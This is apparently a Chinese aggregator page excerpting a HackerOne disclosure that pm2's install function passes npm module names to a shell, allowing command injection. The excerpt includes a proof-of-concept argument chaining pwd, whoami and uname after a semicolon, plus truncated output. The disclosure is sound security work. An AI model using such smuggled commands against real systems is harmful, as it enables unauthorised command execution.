Command Injection in npm module name passed as an argument to pm2.install() function
该报告还没有中文解读。
原文摘录
摘自原文(8688 字符中的一小部分)
I would like to report Command Injection possible when npm module name is passed into `pm2.install()`. An attacker is able to attach OS commands to npm module name and those commands will be executed when payload reaches execution sink in `continueInstall()` function in `API/Modules/NPM.js` file.
原文中的代码
bl4de:~/playground/Node $ ./pm2 install "test;pwd;whoami;uname;" [PM2][Module] Installing NPM test;pwd;whoami;uname; module [PM2][Module] Calling [NPM] to install test;pwd;whoami;uname; ... npm WARN saveError ENOENT: no such file or directory, open '/Users/bl4de/package.json' npm WARN enoent …
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js third-party modules 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @bl4de · 版权归作者与 Node.js third-party modules 所有